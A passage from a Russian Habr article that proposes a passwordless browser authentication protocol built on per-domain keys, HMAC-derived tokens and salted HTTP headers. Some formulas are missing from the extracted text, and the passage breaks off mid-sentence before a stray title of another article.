3. Корпоративный сайт с закрытым контентом. Регистрация или авторизация здесь нужны в основном для ограничения доступа к контенту. Всякие: онлайн школы, библиотеки, частные непубличные сайты, и прочее. Здесь **функционал авторизации нужен в большей степени сайту**. Открытых форм регистраций, как правило, нет. Учетные данные раздаются по другим каналам.
4. Интернет-магазин и другая подобная площадка по продаже предметов, услуг или контента. Сюда же отнесу и сайты подачи платных/бесплатных объявлений. Регистрация, в основном, нужна, чтобы хранить историю заказов клиента, и чтобы он мог отслеживать их актуальный статус, хранить свои предпочтения (избранное); чтобы формировать клиенту персональные предложения на основе истории покупок и предпочтений. Здесь **функционал идентификации нужен в равной степени как самому клиенту, так и магазину**. Но больше, конечно же, магазину. Чтобы впаривать, впаривать и впаривать.
5. Всякие личные кабинеты пользователей сервисов интернет-услуг: электронная почта, госуслуги, сбербанк-онлайн, мегафон-онлайн, кабинеты провайдеров, CMS от хостеров, и т.п. Здесь **в правильной и надежной идентификации заинтересован в первую очередь сам пользователь**. Ведь он управляет значимой для себя информацией, имеющей в некоторых ситуациях юридические и финансовые последствия. Тут анонимностью не пахнет. Она здесь вредна.
6. Роутеры, консоли управления, web-версии управления чем-либо в домашней или корпоративной сети.
Понятно, что в разных ситуациях, могут быть разные риски. В одних случаях, неправильная идентификация, потеря аутентификационных данных или даже кража/подделка их, не приведет к каким-либо значимым последствиям как для сайта, так и для пользователя. В других, просто будет неприятно (потерял карму на Хабре – «беда-то какая...») или приведет к неудобству (не могу зайти под собой в Юлу, посмотреть свои объявления; профукал доступ к своим проектам на github, – ладно заведу новую учётку, форкну проекты). В третьих – может повлечь юридические и финансовые последствия. Поэтому, надо полагать, предлагаемая схема авторизации не «серебренная пуля» на все случаи, тем более «в голом виде». **Там где проводится управление чувствительной информацией стоит использовать другие способы идентификации и аутентификации** или их комбинации (двухфакторная авторизация, криптография на ассиметричных ключах, 3D-secure, eToken, OTP-Token и т.п.).
Ну хорошо. Какое ваше ТЗ?
**Что предлагает новый протокол?**С точки зрения конечного пользователя:
1. Сайт должен запоминать и узнавать посетителя без какого-либо ввода данных со стороны пользователя; сайт должен узнавать вас как в пределах сессии, так и между разными сессиями. Никаких cookie, паролей и регистраций. При этом разные сайты не должны получать возможность *взаимно* однозначно идентифицировать одного и того же посетителя, получая возможность отслеживать его активность на этих и других сайтах. Т.е. сайты не должны получить возможность агрегирования информации по своим посетителям.
2. Пользователь должен получить возможность «**забыть любой сайт**» в любое время; и сайт забудет пользователя. Должна быть возможность предоставления прав сайту запомнить клиента по инициативе клиента (без навязчивых popup). Пользователь должен получить возможность безопасной миграции своей виртуальной личности между разными устройствами и браузерами (если ему это нужно), чтобы иметь единую авторизацию на любимых сайтах.
Понятно. А какие бонусы должны получить с этого разработчики сайтов?
1. Более простая процедура идентификации: нет необходимости создавать в тысячный раз очередную форму логина, логаута, регистрации, изменения и восстановления пароля. Достаточно активировать модуль поддержки протокола под ваш любимый framework, реализованный на базе стандарта.
2. Дизайнеру нет необходимости рисовать форму логина и думать, куда бы её спрятать на маленьком мобильном экране. Протокол делает формы ненужными вообще. Ну разве что форму регистрации. Куда же без них то. Увы.
Наконец:
1. Протокол аутентификации должен быть единым и стандартизированным; проверенным экспертами по безопасности; одобрен и рекомендован комитетами по стандартизации веб-стандартов. Как результат, должна быть исключена возможность допуска классических ошибок веб-мастерами при разработке стандартных форм логина/логаута, смены/восстановления пароля (передача паролей в открытом виде, неправильное применение хеширования, хранение в базе паролей или «незасоленных» хешей, угон паролей пользователей при взломе сайта).
2. Авторизация должна быть в определенной степени надежна (защищена от подделки, неправомерного доступа, с гарантированной аутентификацией); не создавать новых уязвимостей на веб-страницах и в браузерах; по возможности снизить риски известных сетевых атак «из коробки». Ну или по крайней мере, существенное уменьшение рисков успешного их проведения.
Отталкиваясь от указанных требований, перейдем к самому интересному: проектированию нового протокола.
1 Концепция беспарольной идентификации
======================================
1.1 Ключи и токены вместо логинов и паролей
-------------------------------------------
Для каждого домена, включая дочерние, браузер клиента генерирует случайным образом уникальный 256-битный ключ . **Этот ключ никогда не передается.** Остается постоянным в пределах сессии пользователя. При каждой новой сессии создается новый ключ.
На основе ключа  браузер по [специальному алгоритму](#token_algo) генерирует 256-битный\* токен  для идентификации пользователя конкретным доменом. Идентификационный токен  пользователя (далее просто – токен) служит заменой сессионных cookie, подобных PHPSESSIONID и JSESSIONID.
Ключ  может быть «**зафиксирован**» пользователем. Фиксация ключа позволит пользователю оставаться авторизованным на сайте не ограниченно долго в разных сессиях браузера и возвращать ранее имевшуюся авторизацию. Это **аналог функции «запомнить меня»**.
При отмене фиксации, браузер «забудет» этот ключ и снова начнет формировать случайный ключ для данного домена при каждой новой сессии (начиная с текущей), что **является аналогом «выхода»** пользователя из сайта. Выход мгновенный, не требующий перезагрузки страницы.
Пользователь может [создать для домена постоянный ключ](#perm_key_algo). Постоянный ключ, как и зафиксированный, позволит пользователю возвращать ранее имевшуюся авторизацию. Фактически этот **ключ становится заменой связи «логин-пароль».**
Пользователь получает возможность управлять моментами, когда браузер для домена будет использовать постоянный ключ, а когда – случайный. Это **аналог функции «логин / логаут»**. Концепция [представлена на скриншотах ниже](#user_view_concept).
Способы формирования постоянных ключей доменов обеспечивают мобильность учетных записей пользователя между разными устройствам. Протоколом определяются следующие:
* формирование ключа домена на базе мастер-ключа пользователя
* формирование индивидуально ключа домена на базе биологического датчика случайных чисел
* импортирование существующих ключей из ключевого файла с другого устройства
1.2 Структура токена
--------------------
Токен представляет собой 256-битную структуру, представляемую в виде шестнадцатеричной строки:
| | |
| --- | --- |
| 84bc3da1b3e33a18e8d5e1bdd7a18d7a | 166d77ac1b46a1ec38aa35ab7e628ab5 |
| идентификационная часть | аутентификационная часть |
Идентификационная часть токена (старшие 128 бит) аналогична логину. По этой последовательности бит сервер может однозначно идентифицировать пользователя.
Аутентификационная часть токена (младшие 128 бит) аналогична паролю. Эта последовательность бит помогает серверу валидировать токен.
Правила валидации токена [описаны ниже](#token_validation_algo).
1.3 HTTP-заголовки протокола
----------------------------
**Заголовки, используемые клиентом:**
**CSI-Token**: используется для отправки токена серверу
**CSI-Token**: ; **Changed-To** используется для изменения текущего токена:
* при авторизации на постоянном ключе,
* при регистрации постоянного ключа,
* при изменении постоянного ключа.
**CSI-Token**: **Permanent** используется при фиксации текущего случайного ключа пользователем.
**CSI-Token**: **Logout** используется для досрочного завершения текущей сессии.
**Заголовки, используемые сервером:**
**CSI-Support: yes** указывает клиенту, что сервер поддерживает протокол авторизации CSI.
**CSI-Token-Action: success** используется для уведомления браузера о принятии нового токена пользователя (ключ Change-To).
**CSI-Token-Action: abort** отменяет процедуру смены токенов (откат к предыдущему токену).
**CSI-Token-Action: registration** сообщает браузеру, что новый токен пользователя всё ещё находится в процессе регистрации.
**CSI-Token-Action: invalid** ошибка верификации токена на стороне сервера.
Наконец,
**CSI-Salt** посылается и браузером, и сервером при обмене «солью», используемой для защиты токена (аутентификационной части). Подробнее [смотрите ниже](#salt_exchange_algo).
1.4 Как происходит идентификация клиентов сайтами?
--------------------------------------------------
Сайт может использовать токен для идентификации посетителя сайта. При этом схема генерации токенов и их 256-битная разрядность **гарантирует уникальность токенов для каждой пары:** пользователь-домен. Другой домен будет видеть уже другой токен пользователя. Даже если исполняется в контексте целевого сайта (через IFRAME, IMG, LINK, SCRIPT). Кроме того, специальный алгоритм генерации токенов защищает пользователей от атак XSS, СSRF и делает невозможным трекинг пользователя без его ведома. Но при этом оставляет возможным технологию SSO с его разрешения и меж-доменную идентификацию.
Токен **передается в HTTP-заголовке CSI-Token** при каждом запросе к любому ресурсу домена (страница, документ, изображение, скрипт, стиль, шрифт, файл, ajax-запрос, ...):
Токен **вычисляется заново *при каждом* HTTP(S)-запросе**: страница, картинка, ajax-запрос.
В целях оптимизации вычислений, допускается кэширование токенов браузером, но только на время действия сессии и только в случае неизменности условий выполнения запроса.
Как уже было отмечено выше, токен может служить заменой сессионных cookie, подобных PHPSESSIONID и JSESSIONID. С той лишь разницей, если раньше сайт генерировал посетителю идентификатор, чтобы отслеживать конкретного пользователя между его разными запросами (ведь на сайт одновременно приходят тысячи запросов от разных пользователей), то теперь эту функцию выполняет сам клиент.
Такая идентификация вполне достаточна для того, чтобы позволить совершать покупки в интернет-магазине, давать объявления на соответствующих площадках, писать на форумах, в социальных сетях, статьи на Википедии или Хабре.
Да, пользователь остается для сайта анонимным. Но это может быть «знакомый» сайту аноним. И сервер может сохранить токен такого пользователя на своей стороне, вместе с его данными (личный кабинет с покупками, предпочтениями, кармой, плюшками, лайками и другими бонусами). Но только сохранить при условии завершения какого-либо бизнес-процесса: покупки, подачи объявления, и т.п. Условия определяет сам сайт.
Как видно, протокол максимально прост для сайтов, которым нет необходимости регистрировать вас прежде, чем дать возможность совершить какие-либо действия. А вот тем, кому это необходимо, придется чуть сложнее. Но об этом ниже.
### 1.4.2 Как узнать, что сайт поддерживает этот протокол?
Сайт должен передавать http-заголовок **CSI-Support: yes** в секции Response Headers своего ответа:
Увидев такой заголовок, браузер ненавязчиво сообщит пользователю, что тот может сохранить себя на сайте. Например, символом ключа в адресной строке:
Щелчок по ключу, например, позволит создать ключ для домена [www.youtube.com](http://www.youtube.com):
> Формирование нового ключа не приводит к его автоматическому использованию.
Постоянный ключ начинает использоваться только при его активации пользователем.
### 1.5 Как происходит авторизация клиентов сайтами?
Важно понимать, что токен ещё не делает пользователя авторизованным на конкретном сайте, – только узнаваемым. Но, как уже было ранее сказано, для него вы пока – просто узнаваемый «аноним».
Если сайту необходимо связать ваш токен с вами лично, регистрации на таком сайте, увы, не избежать. Но в предлагаемом протоколе это делается чуть проще.
> Разработчикам важно понимать: анкета не обязательно нужна большинству сайтов. Избегайте принуждения посетителей к обязательной регистрации. В большинстве типовых ситуаций вы можете осуществить бизнес-процесс без сбора ПДн посетителей.
Заполнение нудных форм регистрации «по поводу и без» неприятно. Но с новым протоколом придумывать очередной логин и пароль не уже требуется. Только кнопка «Подтвердить и сохранить меня»:
Вам, конечно же, придется предварительно создать постоянный ключ для сайта. Но это вопрос пары кликов мышкой.
И, наверняка, вас попросят подтвердить свой телефон или почтовый адрес. Но это уже зависит от сайта.
После успешной авторизации сервер, посредством специального HTTP-заголовка **CSI-Token-Action** сообщит браузеру, что он принял новый ключ. Более подробно в [главе II](#part2).
1.6 А как реализовать надежную идентификацию клиентов?
------------------------------------------------------
В более серьезных ситуациях (личный кабинет провайдера, хостинга, банка) должна и может осуществляться двухфакторная аутентификация, а доказательство обладанием токена производиться через предварительную регистрацию и подтверждение личности иными способами: по электронной почте, СМС, или даже бумажной фиксацией токена пользователя. (Да, да. Сертификаты фиксируются бумажными носителями, почему бы и токенам не быть).
1.7 Авторизация на сайте глазами пользователя
---------------------------------------------
Браузер уведомляет пользователя, что сайт поддерживает авторизацию CSI, через иконку замка в адресной строке. Если вы совершаете на сайте некоторые действия, вы можете попросить сайт запомнить вас. С этого момента сервер будет узнавать пользователя даже между разными сессиями:
**На иллюстрации**Вначале мы бродим по сайту, смотрим товары. Затем решаем сохранить в избранном понравившийся товар, чтобы в дальнейшем, может быть, купить его здесь. Чтобы сайт запоминал нас, мы фиксируем ключ. Добавляем товар в избранное. А затем закрываем вкладку. Через несколько дней, вернувшись на сайт, видим, что в избранном лежат наши товары. Сайт узнал нас. Делаем покупки.
Вместо фиксации ключа, пользователь может создать постоянный ключ для сайта и пройти там регистрацию. Анимированная иллюстрация:
**На иллюстрации**Входит на сайт. Создает постоянный ключ. Активирует его. Сайт переводит пользователя на форму регистрации.
Пользователь заполняет поля формы регистрации, нажимает «Зарегистрировать меня». Сайт пускает пользователя в закрытый раздел.
А когда пользователь имеет постоянный ключ для сайта и этот ключ там зарегистрирован, то процесс входа существенно упрощается:
**На иллюстрации**Входит на сайт. Видит, что есть постоянный ключ. Активирует его, делая «Вход». Сайт узнает пользователя, подгружая профиль.
Наибольшая сила протокола проявляется, когда пользователь создает ключ для сайта на базе мастер-ключа. В этом случае легко решается задача вашей идентификации на сайтах на других устройствах. Следующая анимация демонстрирует это. Предполагается, что вы предварительно однажды распространили свой мастер-ключ между своими устройствами / браузерами:
**На иллюстрации**Входит на сайт с другого устройства. Создает постоянный ключ сайта на базе мастер-ключа. Активирует его. Сайт узнает пользователя (демонстрируется его профиль).
Для сайтов с двух-факторной авторизацией «узнавание» может выглядеть так:
**На иллюстрации**Входит на сайт. Активирует постоянный ключ. Сайт узнает пользователя и предлагает продолжить аутентификацию. Пользователь нажимает продолжить; вводит код из СМС. Сайт авторизует пользователя.
Выход осуществляется ещё проще. Нажимаете в браузере «Выйти» и всё:
Браузер посылает сайту запрос (на любую его страницу) с методом HEAD, в котором передает заголовок CSI-Token <>; Logout.
Сервер, видя такой заголовок, делает Logout. Если это был фиксированный ключ, то сайт удаляет всю информацию о пользователе (более такой ключ никогда не появится). Если это был постоянный ключ, просто разрывает сессию.
Любая дальнейшая активность сайта превращает пользователя в неизвестного сайту анонима: перезагрузка страницы, попытка сделать ajax-запрос, скачать файл и т.п. – браузер будет посылать токен, сформированный уже на базе случайного ключа.
> Вы можете управлять ключами в менеджере ключей: поменять постоянный ключ, экспортировать постоянный ключ в файл, импортировать из файла с другого устройства. Настроить «автовыход» после закрытия вкладки или браузера. Задать время действия фиксированного ключа.
1.8 Как происходит смена ключа сайта?
-------------------------------------
Замена постоянного ключа сайта технически происходит также, как и переход со случайного ключа на постоянный. Более подробнее это описано в [главе II](#part2).
В случае смены постоянного ключа сайта, браузер уведомляет сайт о соответствующем изменении токена, посылая *в каждом последующем запросе* заголовок **CSI-Token** с ключом **Changed-To**:
Сайт должен корректно обработать такой запрос. И, если данный токен пользователя сохранен в его базе, должен сделать соответствующую замену. При этом сайт должен ответить браузеру об успешном изменении токена на своей стороне. Делает он это в заголовке ответа (Response Headers) параметром: **CSI-Token-Action: success**, с указанием примененного токена.
Сайт имеет право отвергнуть попытку изменения токена (например, если такого токена в его базе не было или он их вообще их не сохраняет) параметром **CSI-Token-Action: aborted.**
До тех пор, пока браузер не получит заголовок CSI-Token-Action, он в каждый запрос к сайту в заголовок CSI-Token будет добавлять ключ Changed-To.
Это **аналог «смены пароля» пользователя.**
1.9 Как реализуется кросс-доменная авторизация?
-----------------------------------------------
Классическая кросс-доменная авторизация по технологии SSO имеет для пользователя много плюсов. Вам нет необходимости помнить кучу паролей от кучи сайтов. Нет необходимости в регистрации и заполнении муторных форм. Некоторые сервера авторизации спрашивают какие права предоставить сайту, запросившему SSO.
Но есть и недостатки. **Вы в зависимости от поставщика SSO.** Если не работает сервер SSO, на целевой сайт вы не попадете. Если вы теряете пароль или у вас угоняют вашу учётку – вы разом теряете доступ от всех сайтов.
Для веб-разработчиков всё чуть сложнее. С начала необходимо зарегистрировать свой сайт на сервере авторизации, получить ключи, научиться работать с протоколом (SAML, OAuth и т.п.) и соответствующими библиотеками, следить, чтобы не истёк срок ключа, чтобы сервер авторизации не заблокировал ваш сайт по своим разумениям и т.п. Это плата за то, что вам нет необходимости хранить у себя учетные записи пользователей, делать формы регистрации, логина и т.п. Правда увеличивает стоимость сопровождения (в виде починки внезапных отказов). Опять же, если сервер внезапно недоступен сайту, то увы.
Данная схема авторизации делает SSO чуть более безопасной, а авторизацию для всех участников более простой. Про безопасность будет сказано ниже в разделе [«Компрометация ключа для SSO».](#attack_sso_key_discredit)
Пусть вы заходите на сайт S, поддерживающем SSO от Google. Пусть у вас есть учётная запись на Google. Чтобы авторизоваться, вы нажимаете ссылку «Войти через Google», которая откроет вкладку авторизации Google. Браузер сообщит вам, что вы имеете ключ для Google. А Google сообщит, какие права запрашивает S.
Если вы согласны, нажмете «Войти» в менеджере ключей. Страница перезагрузится. Уже Google получит свой валидный токен, узнает и авторизует вас. И меж-серверным запросом сообщит сайту S информацию о вашей учетной записи в соответствии с запрошенными полями.
Перезагруженная страница будет содержать кнопку «Далее», возвращающая вас на целевой сайт.
**На иллюстрации**Приведет пример данного алгоритма при регистрации на сайте [www.youtube.com](http://www.youtube.com) с использованием кросс-доменной авторизации через accounts.google.com.
Сайт S может принять решение сохранить данные о вас в своей БД или нет. Этот вопрос выходит за рамки предлагаемой схемы авторизации. Но далее, где мы будем рассматривать риски утраты ключа для SSO, сайту рекомендуется сохранять токен пользователя и идентификатор от SSO на своей стороне, а пользователю рекомендует создавать постоянный ключ для S.
> **Уязвимость:** После такой авторизации, сайты S1, S2, S3, … (где вы авторизовались через Google) смогут узнавать вас (по назначенному вам идентификатору от Google), и, как следствие, отслеживать вашу деятельность.
> **Вариант защиты:** не работать одновременно на сайтах, если вы регистрировались через SSO одного и того же поставщика. По возможности, делать логаут из сервера авторизации сразу же после завершения авторизации («автовыход» для домена).
1.10 Как реализовать меж-доменную идентификацию?
------------------------------------------------
Всё это, конечно, хорошо. Пока работа осуществляется на одном браузере – всё отлично. А как быть с современными реалиями, когда у человека два мобильных телефона, один рабочий компьютер и несколько браузеров на нем, домашний компьютер, и ещё ноутбук? Плюс общий планшет жены/детей.
Придется как-то решать вопрос с переносом ключей доменов между браузерами, устройствами. А ещё решить вопрос их правильной синхронизации.
Одним из механизмов решения данной задачи является вычисление различных ключей доменов на базе общего мастер-ключа без возможности обратного восстановления мастер-ключа по известному ключу домена.
Создав при помощи мастер-ключа M персональный ключ K для домена D на одном устройстве, пользователь сможет создать тот же самый ключ K для домена D и на любом другом при помощи всё того же мастер-ключа M и единого алгоритма. Точнее это сделает не пользователь, а его браузер. При таком подходе пользователю достаточно распространить свой мастер ключ между всеми используемыми им браузерами и он разом «переносит все свои ключи» доменов. Заодно делает таким образом резервные копии.
Максимальное удобство для пользователя. **Но и максимальный риск** в случае компрометации мастер-ключа. Поэтому последний должен защищаться соответствующим образом. О рисках утраты или компрометации мастер-ключа, о способах минимизации таких рисков написано в главе [«3 Рекомендации по безопасности»](#part3).
Использование только одного мастер-ключа для генерации всех ключей для всех доменов не всегда удобный вариант. Во-первых, как быть, если вдруг ключ домена скомпрометирован и его необходимо поменять? Во-вторых, что если нужно поделиться ключом домена с другим человеком? Например, между членами семьи. Или это корпоративная учётная запись на доступ к общей почте. Как затем «забрать» свой ключ (ведь по факту он скомпрометирован)?
Поэтому генерация индивидуальных ключей доменов при помощи биологического датчика случайных чисел должна поддерживаться браузерами. Но тогда мы вновь возвращаемся к вопросу нашей мобильности и вопросам синхронизации, функций экспорта и импорта ключей в браузере, создания резервных копий.
### Перенос через физическое отчуждаемое устройство
Смарт-карты и usb-токены могут вполне подойти в качестве защищенного хранилища ключевой информации (ибо для этого и создавались). Двухфакторная аутентификация защищает ключи от НСД при непосредственном доступе к устройству.
Правда для смарт-карт требуются специальные считыватели (не говоря уже про драйвера), что ограничивает их применение только рабочими станциями, оборудованными такими считывателям.
С USB-токенами чуть проще. Требуются только драйвера. Вот только такой токен в телефон не воткнешь. И хотя для мобильных телефонов существуют токены, выполненные в виде SD-карт, не сказать, что данное решение добавляет к мобильности. Попробуй вытяни карту из мобильника, да вставь в другой. И речь не о том, что это невозможно. Речь о том, что это не удобно.
А если токен поломается? Тогда все ваши ключи уйдут к «Великому Ктулху».
Так что появится соблазн при такой схеме использовать несколько устройств-дубликатов. Но тогда ещё необходимо решить вопрос с синхронизацией ключей, если у вас несколько смарт-карт.
Да и, честно говоря, не защищены такие устройства от клавиатурных шпионов. Вот если бы пин-код вводился бы с самой карты/токена. Тогда другое дело. Но я таких в природе не видел.
> **Плюсы:** можно использовать случайный 256-биные ключи; высокая безопасность за счёт использования двухфакторной аутентификации; высочайший уровень защиты от прямого НСД.
>
> **Минусы:** зависимость от устройств; требует финансовых затрат; низкая мобильность; необходимость резервирования карт и, как следствие, синхронизации данных между ними; уязвимость к клавиатурным шпионам сохраняется.
>
>
### Синхронизация через онлайн-сервис
«Облачные технологии» сейчас пихаются куда только можно. Похоже они, вкупе с блокчейном, стали заменой «банано-технологиям». Естественно, возникает желание, использовать некую интернет-площадку для обмена ключевой информацией. Этакая смарт-карта «онлайн».
А что? Авторизуешься по нашей схеме анонимно на таком сайте; отправляешь туда свои ключи зашифрованные паролем; заходишь с другого устройства на этот же сайт с тем же ключом/паролем; получаешь от туда ключи; синхронизируешь изменения по дате правки. Аналогично менеджеру паролей, только это онлайн.
Вот только, никто не гарантирует, что онлайн-сервис не будет взломан или не станет сам сливать ваши, пусть и зашифрованные, ключи «куда надо». Кто будет за бесплатно реализовывать такой сервис. То-то и оно.
Хотя, конечно, пароль защищает ключи от прямого использования. Но устойчив ли ваш пароль к брут-форсу «офлайн»? Тот ещё вопрос.
> **Плюсы:**высокая мобильность учетных данных; независимость от устройства и браузера; нужен всего один единственный пароль (хотя от пароля не ушли, но уже лучше).
>
> **Недостатки:**менее безопасно, чем хранение ключей на отчуждаемом носителе. Фактически безопасность ключей основана на стойкости пароля к подбору.
>
>
Можно, конечно, использовать для шифрования других ключей мастер-ключ. Тот самый, при помощи которого вычисляются другие ключи доменов. Как вариант.
2 Техническое описание протокола
================================
2.0 Алгоритм формирования ключа домена
--------------------------------------
Настоящий протокол определяет только 2 способа формирования ключей домена
* на базе генератора случайных чисел (желательно биологического)
* на базе 256-битного мастер ключа
В последнем случае ключ домена вычисляется как:
где  – 256-битный мастер-ключ, Domain – доменное имя, для которого делается ключ.
Здесь и далее *HMAC* – [алгоритм криптографического вычисления хеша](https://ru.wikipedia.org/wiki/HMAC) на основе 256-битной реализации хеш-функции [SHA-2](https://ru.wikipedia.org/wiki/SHA-2).
> Компрометация или добровольное разглашение ключа домена не приводит к компрометации исходного мастер-ключа.
Мастер-ключ обеспечивает механизм мобильности учётных данных пользователей.
**На заметку**В первоначальной версии протокола рассматривался вариант генерации ключей домена на базе пароля пользователя, как обеспечивающий мобильность пользователей, и защищающий от компрометации пароля при взломе сайта. Но в главе [«3 Рекомендации по безопасности»](#part3) будут даны пояснения, почему от такой схемы было принято решение отказаться.
Если ключ, созданный на базе «мастера», был скомпрометирован, либо был скомпрометирован токен, вычисленный от такого ключа (в результате взлома сайта), то ключ необходимо поменять. Поменять можно на случайный 256-битный ключ, либо сгенерировать от того же «мастера», с добавлением версии:
Здесь и далее символ  будет использоваться для операции конкатенации строк (массивов байт).
2.1 Алгоритм вычисления исходного токена
----------------------------------------
Идентификационный токен пользователя вычисляется при каждом запросе любого ресурса домена. Для вычисления токена запроса берутся следующие данные:
* *Sender* – доменное имя инициатора запроса (им может быть страница с iframe или скрипт с чужого домена, выполняющий fetch),
* *Recipient* – доменное имя получателя (куда отправляется запрос),
* *Context* – контекст выполнения запроса,
* *Protection* – случайная последовательность 32-х байт (256-бит), если Context пуст; иначе пусто
Эти данные конкатенируются и подвергаются хэшированию 256-битной SHA-2 **на ключе K домена-инициатора запроса**:
> Валидный токен получается, когда Context не пуст. Для правильной идентификации на целевом сайте необходимо, чтобы выполнялось условие Sender = Recipient = Context.
Поле Context вкупе с Protection используется для защиты от XSS и CSRF-атак, а также от трекинга пользователя.
Более подробные пояснения по правилам определения Sender / Recipient / Context будут даны ниже.
2.2 Алгоритм защиты токена при передаче
---------------------------------------
Исходный токен клиента передается крайне редко. Только при передаче незарегистрированного токена в момент создания сессии.
**Токен считается незарегистрированным**, если он: создан на базе случайного (не зафиксированного) ключа; не был принят сервером после отправки ключа Change-To или Permanent. Подробнее см. [«Обработка токенов на сервере»](#server_token_processing).
Браузер и сервер совместно вырабатывают пару случайных чисел, т.н. соль (Salt), при помощи которой хешируются младшие 128 бит токена. Оба обмениваются этими числами согласно протоколу. Подробнее см. [«Процедура обмена солью между браузером и сервером»](#salt_exchange_algo).
Таким образом, сервер сайта видит следующий токен:
где  – старшие 128 бит,  – младшие 128 бит исходного токена,  – конкатенация строк. При этом исходный токен  должен быть уже известен серверу.
В идеале CSI-Salt должен меняться при каждом запросе браузера к серверу. Однако это может быть затратным требованием с точки зрения вычислительных ресурсов. Кроме того, это может «убить» возможность отправки параллельных запросов на сервер.
Поэтому допускается, в целях оптимизации расчетов, сохранение неизменным значения CSI-Salt в разных запросах, но не дольше одного сеанса. Это может быть ограничение по времени (смена CSI-Salt каждые 5 минут), либо реакция на интенсивность запросов (смена CSI-Salt через каждые 100 запросов), либо после каждой серии запросов (в момент паузы клиент-сервер), либо смешанный вариант. Здесь решение оставляется за разработчиками браузеров.
Слишком долгое удержание неизменным CSI-Salt ослабляет защиту передаваемого токена, позволяя злоумышленнику, при перехвате токена, воспользоваться им, пока легальный пользователь не выполнил Logout, и выполнить неавторизованный запрос от имени жертвы.
2.3 Процедура обмена солью между браузером и сервером
-----------------------------------------------------
2.3.1 Токен на базе случайного или незарегистрированного[1] сервером ключа.
| **Браузер** | **Сервер** |
| --- | --- |
| **Первичный запрос (инициализация сессии пользователя)** |
| Браузер отправляет токен как есть.
**В запросе отсутствует CSI-Salt.** | Сервер впервые видит такой токен.
**между прочим**Сервер может и не впервые видеть такой токен. А браузер его считать незарегистрированным. Это может произойти при пересоздании ключа на базе мастер-ключа на другом устройстве. Поэтому такая ситуация тоже должна учитываться.
Воспринимает его как есть (считает его незащищенным). Использует этот токен как идентификатор сессии.
Генерирует свою соль *Ssalt*.
**Возвращает её в ответе в заголовке CSI-Salt.** |
| **Второй запрос** |
| Генерирует соль *Сsalt*.
Браузер соединяет[3] свою соль и соль сервера.
Браузер отправляет запрос, передавая защищенный совместной солью токен.
**Посылает CSI-Salt.** | Сервер получает запрос и **извлекает CSI-Salt клиента**.
Сервер соединяет соль браузера со своей и использует для проверки токена.
Если валидация токена успешна, предоставляет пользователю контент в соответствии с его правами.
При ошибках проверки возвращает клиенту заголовок **CSI-Token-Action: invalid**. Выдавать контент или возвращать пустой ответ: зависит от сервера. |
| **Последующие запросы** |
| Браузер отправляет запрос, передавая защищенный совместной солью токен.
**В запросе отсутствует CSI-Salt.** | Сервер получает запрос и проверяет его токен.
Если валидация токена успешна, предоставляет пользователю контент в соответствии с его правами.
При ошибках проверки возвращает клиенту заголовок **CSI-Token-Action: invalid**. Выдавать контент или возвращать пустой ответ: зависит от сервера. |
| **Через некоторое[2] время работы** |
| Генерирует новую соль *Сsalt*.
Соединяет новую соль с солью сервера.
Отправляет запрос, передавая защищенный новой совместной солью токен.
**Посылает CSI-Salt.** | Сервер получает запрос и **извлекает новую CSI-Salt клиента**.
Сервер соединяет соль браузера со своей и использует для проверки токена.
Если валидация токена успешна, предоставляет пользователю контент в соответствии с его правами.
При ошибках проверки возвращает клиенту заголовок **CSI-Token-Action: invalid**. Выдавать контент или возвращать пустой ответ: зависит от сервера. |
2.3.2 Токен на базе зарегистрированного[1] сервером ключа.
| **Браузер** | **Сервер** |
| --- | --- |
| **Первичный запрос (инициализация сессии пользователя)** |
| Генерирует соль *Сsalt*.
**Посылает CSI-Salt.**
Передает токен в защищенном виде. | Сервер получает запрос и **извлекает CSI-Salt клиента**.
Читает защищенный токен.
Находит полный токен клиента в своей базе (использует для поиска первые 128-бит полученного в запросе токена).
Т.к. это первичный запрос, сервер не посылал соль клиенту, то **валидация токена на данном этапе производится только солью клиента**.
При ошибках проверки возвращает клиенту заголовок **CSI-Token-Action: invalid**. Выдавать контент или возвращать пустой ответ: зависит от сервера.
Если валидация токена успешна, предоставляет пользователю контент в соответствии с его правами.
Генерирует свою соль *Ssalt*.
**Возвращает её в ответе в заголовке CSI-Salt**. |
| **Последующие запросы** |
| Браузер соединяет свою соль и соль сервера.
Браузер отправляет запрос, передавая защищенный совместной солью токен.
**В запросе отсутствует CSI-Salt**. | Сервер получает запрос и проверяет его токен.
Если валидация токена успешна, предоставляет пользователю контент в соответствии с его правами.
При ошибках проверки возвращает клиенту заголовок **CSI-Token-Action: invalid**. Выдавать контент или возвращать пустой ответ: зависит от сервера. |
| **Через некоторое[2] время работы** |
| Генерирует новую соль *Сsalt*.
Браузер соединяет новую соль с солью сервера.
Браузер отправляет запрос, передавая защищенный новой совместной солью токен.
**Посылает CSI-Salt**. | Сервер получает запрос и **извлекает новую CSI-Salt клиента**.
Сервер соединяет соль браузера со своей и использует для проверки токена.
Если валидация токена успешна, предоставляет пользователю контента в соответствии с его правами.
При ошибках проверки возвращает клиенту заголовок **CSI-Token-Action: invalid**. Выдавать контент или возвращать пустой ответ: зависит от сервера. |
---
[1] Токен считается незарегистрированным, если он: создан на базе случайного ключа; не был принят сервером после отправки ключа Change-To или Permanent ответом CSI-Token-Action: success.
[2] Время, через которое делается изменение CSI-Salt определяется браузерами самостоятельно. Это может происходить после серии запросов, после таймаута, после определенного числа запроса. Единственное ограничение – **использование одного и того же CSI-Salt в разных сессиях запрещено**.
[3] Имеется в виду конкатенация 16-ричного представления 128-битных чисел. Первым всегда берется соль клиента, вторым соль сервера: *Сsalt* || *Ssalt*. Если у браузера нет соли сервера – он хэширует токен своей солью, передавая её в заголовке. Если у сервера нет соли клиента, то он должен полагать, что токен передается незащищенным.
2.4 Правила формирования поля Context
-------------------------------------
**Дисклеймер о правилах**Правила формирования этого поля довольно запутаны. Вполне допускаю вариант, что где-то допустил ошибку. Такие правила нужны для защиты от возможных атак на предлагаемую схему авторизации.
Чтобы лучше разобраться в возможных сценариях атак, введем несколько определений. И прошу прощения за введение терминов, которые могут отличаться от официальных.
Будем называть *нашим* тот домен, страницу которого мы загружаем (отображается в адресной строке браузера). Остальные домены будем называть *внешними*. Даже если это дочерние домены данного.
Назовем ресурс *внешним*, если он был загружен с внешнего домена. Назовем ресурс *внутренним*, если он был загружен с нашего домена. Ресурсом может быть скрипт, изображение, ajax-запрос и любой другой файл.
Скрипт считается внешним, если он был загружен с внешнего домена. Скрипт, размещенный в созданном теге | https://habr.com/ru/post/472310/ | null | ru | null |
# Yargy-парсер и библиотека Natasha. Извлечения структурированной информации из текстов на русском языке
